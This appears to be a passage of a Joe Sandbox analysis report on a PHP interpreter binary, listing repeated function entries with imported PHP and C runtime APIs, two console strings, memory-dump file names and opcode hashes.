virtual_cwd_activate.PHP8TS ref: 00007FF7498C250B
virtual_fopen.PHP8TS ref: 00007FF7498C251B
php_printf.PHP8TS ref: 00007FF7498C2530
sapi_deactivate.PHP8TS ref: 00007FF7498C266F
zend_ini_deactivate.PHP8TS ref: 00007FF7498C2675
zend_register_bool_constant.PHP8TS ref: 00007FF7498C26E7
zend_is_auto_global.PHP8TS ref: 00007FF7498C274C

Strings

Finished execution, repeating..., xrefs: 00007FF7498C2469
Could not open input file: %s, xrefs: 00007FF7498C2529

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __acrt_iob_func$fflush$fprintfphp_getoptphp_output_writephp_printfphp_request_shutdownphp_win32_console_is_ownprintfsapi_deactivatevirtual_cwd_activatevirtual_fopenzend_destroy_file_handlezend_ini_deactivatezend_is_auto_globalzend_load_extensionzend_register_bool_constant
String ID: Could not open input file: %s$Finished execution, repeating...
API String ID: 2028098766-4259897058
Opcode ID: 1b3d15ab18ccb837026a14a309577c3a8c289e649f75982ed04d78b132899a24
Instruction ID: adfc194bd557edf5005977c23afecf2c61f084078c7af9e8847328cb2cdc9860
Opcode Fuzzy Hash: 1b3d15ab18ccb837026a14a309577c3a8c289e649f75982ed04d78b132899a24
Instruction Fuzzy Hash: 80510932A0CB42C6EB54BF69E444269B7B8FB44B94F944135DA4E437A8CF3CE464D720

Function 00007FF7498C27B0 Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

zend_destroy_file_handle.PHP8TS ref: 00007FF7498C2419
php_request_shutdown.PHP8TS ref: 00007FF7498C2429
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C243B
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498C244C
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2460
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C2470
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C247A
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2483
virtual_cwd_activate.PHP8TS ref: 00007FF7498C250B
virtual_fopen.PHP8TS ref: 00007FF7498C251B
php_printf.PHP8TS ref: 00007FF7498C2530
zend_stream_init_fp.PHP8TS ref: 00007FF7498C2545
virtual_realpath.PHP8TS ref: 00007FF7498C2559
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7498C256B
sapi_deactivate.PHP8TS ref: 00007FF7498C266F
zend_ini_deactivate.PHP8TS ref: 00007FF7498C2675
open_file_for_scanning.PHP8TS ref: 00007FF7498C27B4
php_get_highlight_struct.PHP8TS ref: 00007FF7498C27CE
zend_highlight.PHP8TS ref: 00007FF7498C27DB

Strings

Finished execution, repeating..., xrefs: 00007FF7498C2469
Could not open input file: %s, xrefs: 00007FF7498C2529

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __acrt_iob_func$_getpid_strdupfflushfprintffreeopen_file_for_scanningphp_get_highlight_structphp_printfphp_request_shutdownsapi_deactivatevirtual_cwd_activatevirtual_fopenvirtual_realpathzend_destroy_file_handlezend_highlightzend_ini_deactivatezend_stream_init_fp
String ID: Could not open input file: %s$Finished execution, repeating...
API String ID: 177613051-4259897058
Opcode ID: ac70d1cb09c4a103e01a0aba658b53caf54f70a4db69a60423943230d4c2490e
Instruction ID: efcc86b1407b657872a18da43171f8a28f9ebddfbca728e48b8b7de120aee67e
Opcode Fuzzy Hash: ac70d1cb09c4a103e01a0aba658b53caf54f70a4db69a60423943230d4c2490e
Instruction Fuzzy Hash: 5741E532A0CB42C6EB54BF29E854279B7B8FB44B44F944135DA4E427A8DF3CE864D720

Function 00007FF7498C202E Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

php_getopt.PHP8TS ref: 00007FF7498C22A1
php_output_write.PHP8TS ref: 00007FF7498C22F3
zend_destroy_file_handle.PHP8TS ref: 00007FF7498C2419
php_request_shutdown.PHP8TS ref: 00007FF7498C2429
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C243B
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498C244C
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2460
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C2470
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C247A
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2483
sapi_deactivate.PHP8TS ref: 00007FF7498C266F
zend_ini_deactivate.PHP8TS ref: 00007FF7498C2675

Strings

Finished execution, repeating..., xrefs: 00007FF7498C2469
Could not open input file: %s, xrefs: 00007FF7498C2529

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __acrt_iob_func$_getpidfflushfprintffreephp_getoptphp_output_writephp_request_shutdownsapi_deactivatezend_destroy_file_handlezend_ini_deactivate
String ID: Could not open input file: %s$Finished execution, repeating...
API String ID: 3553338152-4259897058
Opcode ID: 6d54f0acc1ee76f4485067c6dbf453e35cee6cdff82eb98f872bc53b249bfa8a
Instruction ID: 1c8a25662710b93503582356918078a0e669bd8060c6a3247cb13f0d8afb5878
Opcode Fuzzy Hash: 6d54f0acc1ee76f4485067c6dbf453e35cee6cdff82eb98f872bc53b249bfa8a
Instruction Fuzzy Hash: CF511632A0CB42C6EB54BF29E444269B7B8FB44B94F944136DA4E437A8CF3CE464C720

Function 00007FF7498C222B Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 118COMMON

Download Yara Rule

APIs

php_getopt.PHP8TS ref: 00007FF7498C22A1
php_output_write.PHP8TS ref: 00007FF7498C22F3
php_win32_console_is_own.PHP8TS ref: 00007FF7498C2321
printf.MSPDB140-MSVCRT ref: 00007FF7498C238B
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2395
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C239E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C23B4
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C23C4
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C23CE
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C23D7
zend_destroy_file_handle.PHP8TS ref: 00007FF7498C2419
php_request_shutdown.PHP8TS ref: 00007FF7498C2429
virtual_cwd_activate.PHP8TS ref: 00007FF7498C250B
virtual_fopen.PHP8TS ref: 00007FF7498C251B
php_printf.PHP8TS ref: 00007FF7498C2530
sapi_deactivate.PHP8TS ref: 00007FF7498C266F
zend_ini_deactivate.PHP8TS ref: 00007FF7498C2675
zend_register_bool_constant.PHP8TS ref: 00007FF7498C26E7
zend_is_auto_global.PHP8TS ref: 00007FF7498C274C

Strings

Finished execution, repeating..., xrefs: 00007FF7498C2469
Could not open input file: %s, xrefs: 00007FF7498C2529

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __acrt_iob_func$fflush$fprintfphp_getoptphp_output_writephp_printfphp_request_shutdownphp_win32_console_is_ownprintfsapi_deactivatevirtual_cwd_activatevirtual_fopenzend_destroy_file_handlezend_ini_deactivatezend_is_auto_globalzend_register_bool_constant
String ID: Could not open input file: %s$Finished execution, repeating...
API String ID: 1243356579-4259897058
Opcode ID: 525ae0eb10930a3505e2517b51df5a8cd0162de87376be0806038f6245af0f10
Instruction ID: bf40580b41a665f66e603cdb1f5f050edbb9e8ee5d4878c3007d4bdd15b0c8fd
Opcode Fuzzy Hash: 525ae0eb10930a3505e2517b51df5a8cd0162de87376be0806038f6245af0f10
Instruction Fuzzy Hash: AB510832A0CB42C6E754BF69E444269B7B8FB44B94F944135DA4E437A8CF3CE464D720

Function 00007FF7498C2242 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 118COMMON

Download Yara Rule

APIs

php_getopt.PHP8TS ref: 00007FF7498C22A1
php_output_write.PHP8TS ref: 00007FF7498C22F3
php_win32_console_is_own.PHP8TS ref: 00007FF7498C2321
printf.MSPDB140-MSVCRT ref: 00007FF7498C238B
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2395
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C239E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C23B4
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C23C4
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C23CE
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C23D7
zend_destroy_file_handle.PHP8TS ref: 00007FF7498C2419
php_request_shutdown.PHP8TS ref: 00007FF7498C2429
virtual_cwd_activate.PHP8TS ref: 00007FF7498C250B
virtual_fopen.PHP8TS ref: 00007FF7498C251B
php_printf.PHP8TS ref: 00007FF7498C2530
sapi_deactivate.PHP8TS ref: 00007FF7498C266F
zend_ini_deactivate.PHP8TS ref: 00007FF7498C2675
zend_register_bool_constant.PHP8TS ref: 00007FF7498C26E7
zend_is_auto_global.PHP8TS ref: 00007FF7498C274C

Strings

Finished execution, repeating..., xrefs: 00007FF7498C2469
Could not open input file: %s, xrefs: 00007FF7498C2529

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __acrt_iob_func$fflush$fprintfphp_getoptphp_output_writephp_printfphp_request_shutdownphp_win32_console_is_ownprintfsapi_deactivatevirtual_cwd_activatevirtual_fopenzend_destroy_file_handlezend_ini_deactivatezend_is_auto_globalzend_register_bool_constant
String ID: Could not open input file: %s$Finished execution, repeating...
API String ID: 1243356579-4259897058
Opcode ID: 6143378ca0428e450cd900715ae6fa06231304171325d6e11f2286a64efb4e43
Instruction ID: 5cad7bb5373e4abec04d290284c9c5523f0bb5af9382d3aebb71771468c5d251
Opcode Fuzzy Hash: 6143378ca0428e450cd900715ae6fa06231304171325d6e11f2286a64efb4e43
Instruction Fuzzy Hash: 20510732A0CB42C6EB54BF69E444269B7B8FB44B94F944136DA4E437A8CF3CE464D720

Function 00007FF7498C21E6 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 118COMMON

Download Yara Rule

APIs

php_getopt.PHP8TS ref: 00007FF7498C22A1
php_output_write.PHP8TS ref: 00007FF7498C22F3
php_win32_console_is_own.PHP8TS ref: 00007FF7498C2321
printf.MSPDB140-MSVCRT ref: 00007FF7498C238B
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2395
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C239E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C23B4
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C23C4
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C23CE
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C23D7
zend_destroy_file_handle.PHP8TS ref: 00007FF7498C2419
php_request_shutdown.PHP8TS ref: 00007FF7498C2429
virtual_cwd_activate.PHP8TS ref: 00007FF7498C250B
virtual_fopen.PHP8TS ref: 00007FF7498C251B
php_printf.PHP8TS ref: 00007FF7498C2530
sapi_deactivate.PHP8TS ref: 00007FF7498C266F
zend_ini_deactivate.PHP8TS ref: 00007FF7498C2675
zend_register_bool_constant.PHP8TS ref: 00007FF7498C26E7
zend_is_auto_global.PHP8TS ref: 00007FF7498C274C

Strings

Finished execution, repeating..., xrefs: 00007FF7498C2469
Could not open input file: %s, xrefs: 00007FF7498C2529

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __acrt_iob_func$fflush$fprintfphp_getoptphp_output_writephp_printfphp_request_shutdownphp_win32_console_is_ownprintfsapi_deactivatevirtual_cwd_activatevirtual_fopenzend_destroy_file_handlezend_ini_deactivatezend_is_auto_globalzend_register_bool_constant
String ID: Could not open input file: %s$Finished execution, repeating...
API String ID: 1243356579-4259897058
Opcode ID: e1a9e1359cf5cad40f8b8df73d477b35c60c4717a7ec2d5480bceb5a937f2db5
Instruction ID: 943bfb065064e56453daf8df64c7026f031c9077acf5fadacd6e5ad6a4e33721
Opcode Fuzzy Hash: e1a9e1359cf5cad40f8b8df73d477b35c60c4717a7ec2d5480bceb5a937f2db5
Instruction Fuzzy Hash: FD510732A0CB42C6EB54BF69E444269B7B8FB44B94F944136DA4E537A8CF3CE464D720

Function 00007FF7498C2214 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 118COMMON

Download Yara Rule

APIs

php_getopt.PHP8TS ref: 00007FF7498C22A1
php_output_write.PHP8TS ref: 00007FF7498C22F3
php_win32_console_is_own.PHP8TS ref: 00007FF7498C2321
printf.MSPDB140-MSVCRT ref: 00007FF7498C238B
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2395
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C239E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C23B4
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C23C4
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C23CE
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C23D7
zend_destroy_file_handle.PHP8TS ref: 00007FF7498C2419
php_request_shutdown.PHP8TS ref: 00007FF7498C2429
virtual_cwd_activate.PHP8TS ref: 00007FF7498C250B
virtual_fopen.PHP8TS ref: 00007FF7498C251B
php_printf.PHP8TS ref: 00007FF7498C2530
sapi_deactivate.PHP8TS ref: 00007FF7498C266F
zend_ini_deactivate.PHP8TS ref: 00007FF7498C2675
zend_register_bool_constant.PHP8TS ref: 00007FF7498C26E7
zend_is_auto_global.PHP8TS ref: 00007FF7498C274C

Strings

Finished execution, repeating..., xrefs: 00007FF7498C2469
Could not open input file: %s, xrefs: 00007FF7498C2529

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __acrt_iob_func$fflush$fprintfphp_getoptphp_output_writephp_printfphp_request_shutdownphp_win32_console_is_ownprintfsapi_deactivatevirtual_cwd_activatevirtual_fopenzend_destroy_file_handlezend_ini_deactivatezend_is_auto_globalzend_register_bool_constant
String ID: Could not open input file: %s$Finished execution, repeating...
API String ID: 1243356579-4259897058
Opcode ID: 9218e46d3a4c7e09d4acfa8916fffc3c79c1739510ff5da9eee1b1ba186f1300
Instruction ID: 999e8af8ab05720109094272db08dc7a404aa6865e56f1e9a5b5a504142a0f62
Opcode Fuzzy Hash: 9218e46d3a4c7e09d4acfa8916fffc3c79c1739510ff5da9eee1b1ba186f1300
Instruction Fuzzy Hash: 4A510732A0CB42C6EB54BF69E444269B7B8FB44B94F944136DA4E437A8CF3CE464D720

Function 00007FF7498C21FD Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 118COMMON

Download Yara Rule

APIs

php_getopt.PHP8TS ref: 00007FF7498C22A1
php_output_write.PHP8TS ref: 00007FF7498C22F3
php_win32_console_is_own.PHP8TS ref: 00007FF7498C2321
printf.MSPDB140-MSVCRT ref: 00007FF7498C238B
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2395
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C239E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C23B4
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C23C4
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C23CE
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C23D7
zend_destroy_file_handle.PHP8TS ref: 00007FF7498C2419
php_request_shutdown.PHP8TS ref: 00007FF7498C2429
virtual_cwd_activate.PHP8TS ref: 00007FF7498C250B
virtual_fopen.PHP8TS ref: 00007FF7498C251B
php_printf.PHP8TS ref: 00007FF7498C2530
sapi_deactivate.PHP8TS ref: 00007FF7498C266F
zend_ini_deactivate.PHP8TS ref: 00007FF7498C2675
zend_register_bool_constant.PHP8TS ref: 00007FF7498C26E7
zend_is_auto_global.PHP8TS ref: 00007FF7498C274C

Strings

Finished execution, repeating..., xrefs: 00007FF7498C2469
Could not open input file: %s, xrefs: 00007FF7498C2529

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __acrt_iob_func$fflush$fprintfphp_getoptphp_output_writephp_printfphp_request_shutdownphp_win32_console_is_ownprintfsapi_deactivatevirtual_cwd_activatevirtual_fopenzend_destroy_file_handlezend_ini_deactivatezend_is_auto_globalzend_register_bool_constant
String ID: Could not open input file: %s$Finished execution, repeating...
API String ID: 1243356579-4259897058
Opcode ID: c441f781a3f2e7fcfee351602fa74d73ccd1fddc9563abb88a5ce4646694a6e8
Instruction ID: dfc948ccc1ccde4adc183dd72ce6950a91820e3d3d5a6f174a645b384e8badfa
Opcode Fuzzy Hash: c441f781a3f2e7fcfee351602fa74d73ccd1fddc9563abb88a5ce4646694a6e8
Instruction Fuzzy Hash: 9E510732A0CB42C6EB54BF69E444269B7B8FB44B94F944136DA4E437A8CF3CE464D720

Function 00007FF7498C2259 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

php_getopt.PHP8TS ref: 00007FF7498C22A1
php_output_write.PHP8TS ref: 00007FF7498C22F3
php_win32_console_is_own.PHP8TS ref: 00007FF7498C2321
printf.MSPDB140-MSVCRT ref: 00007FF7498C238B
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2395
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C239E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C23B4
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C23C4
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C23CE
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C23D7
zend_destroy_file_handle.PHP8TS ref: 00007FF7498C2419
php_request_shutdown.PHP8TS ref: 00007FF7498C2429
virtual_cwd_activate.PHP8TS ref: 00007FF7498C250B
virtual_fopen.PHP8TS ref: 00007FF7498C251B
php_printf.PHP8TS ref: 00007FF7498C2530
sapi_deactivate.PHP8TS ref: 00007FF7498C266F
zend_ini_deactivate.PHP8TS ref: 00007FF7498C2675
zend_register_bool_constant.PHP8TS ref: 00007FF7498C26E7
zend_is_auto_global.PHP8TS ref: 00007FF7498C274C

Strings

Finished execution, repeating..., xrefs: 00007FF7498C2469
Could not open input file: %s, xrefs: 00007FF7498C2529

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __acrt_iob_func$fflush$fprintfphp_getoptphp_output_writephp_printfphp_request_shutdownphp_win32_console_is_ownprintfsapi_deactivatevirtual_cwd_activatevirtual_fopenzend_destroy_file_handlezend_ini_deactivatezend_is_auto_globalzend_register_bool_constant
String ID: Could not open input file: %s$Finished execution, repeating...
API String ID: 1243356579-4259897058
Opcode ID: 3848285235c1627fe79e923a606bd2e675f1e66757d41223d7de2e318ad898cb
Instruction ID: 3e94fc263c2282f2e0d3de2e120ea22c577e6e4f78c4f0444083f7471dc475c6
Opcode Fuzzy Hash: 3848285235c1627fe79e923a606bd2e675f1e66757d41223d7de2e318ad898cb
Instruction Fuzzy Hash: 6E510832A0CB42C6EB54BF69E444269B7B8FB44B94F944536DA4E437A8CF3CE464D720

Function 00007FF7498C21DC Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

php_getopt.PHP8TS ref: 00007FF7498C22A1
php_output_write.PHP8TS ref: 00007FF7498C22F3
php_win32_console_is_own.PHP8TS ref: 00007FF7498C2321
printf.MSPDB140-MSVCRT ref: 00007FF7498C238B
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2395
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C239E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C23B4
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C23C4
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C23CE
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C23D7
zend_destroy_file_handle.PHP8TS ref: 00007FF7498C2419
php_request_shutdown.PHP8TS ref: 00007FF7498C2429
virtual_cwd_activate.PHP8TS ref: 00007FF7498C250B
virtual_fopen.PHP8TS ref: 00007FF7498C251B
php_printf.PHP8TS ref: 00007FF7498C2530
sapi_deactivate.PHP8TS ref: 00007FF7498C266F
zend_ini_deactivate.PHP8TS ref: 00007FF7498C2675
zend_register_bool_constant.PHP8TS ref: 00007FF7498C26E7
zend_is_auto_global.PHP8TS ref: 00007FF7498C274C

Strings

Finished execution, repeating..., xrefs: 00007FF7498C2469
Could not open input file: %s, xrefs: 00007FF7498C2529

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __acrt_iob_func$fflush$fprintfphp_getoptphp_output_writephp_printfphp_request_shutdownphp_win32_console_is_ownprintfsapi_deactivatevirtual_cwd_activatevirtual_fopenzend_destroy_file_handlezend_ini_deactivatezend_is_auto_globalzend_register_bool_constant
String ID: Could not open input file: %s$Finished execution, repeating...
API String ID: 1243356579-4259897058
Opcode ID: 375e325812b55d1bcc3cf7a7f965873d10f6e755133bc88264a4c209ae73991f
Instruction ID: 34051c189341323700d86667cc5217b4bccef9985bd76c2b9da3fa85622c19ef
Opcode Fuzzy Hash: 375e325812b55d1bcc3cf7a7f965873d10f6e755133bc88264a4c209ae73991f
Instruction Fuzzy Hash: DA510832A0CB42C6EB54BF69E444269B7B8FB44B94F944136DA4E437A8CF3CE464D720

Function 00007FF7498C278E Relevance: 29.8, APIs: 15, Strings: 2, Instructions: 90COMMON

Download Yara Rule

APIs

zend_destroy_file_handle.PHP8TS ref: 00007FF7498C2419
php_request_shutdown.PHP8TS ref: 00007FF7498C2429
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C243B
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498C244C
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2460
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C2470
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C247A
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2483
virtual_cwd_activate.PHP8TS ref: 00007FF7498C250B
virtual_fopen.PHP8TS ref: 00007FF7498C251B
php_printf.PHP8TS ref: 00007FF7498C2530
zend_stream_init_fp.PHP8TS ref: 00007FF7498C2545
virtual_realpath.PHP8TS ref: 00007FF7498C2559
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7498C256B
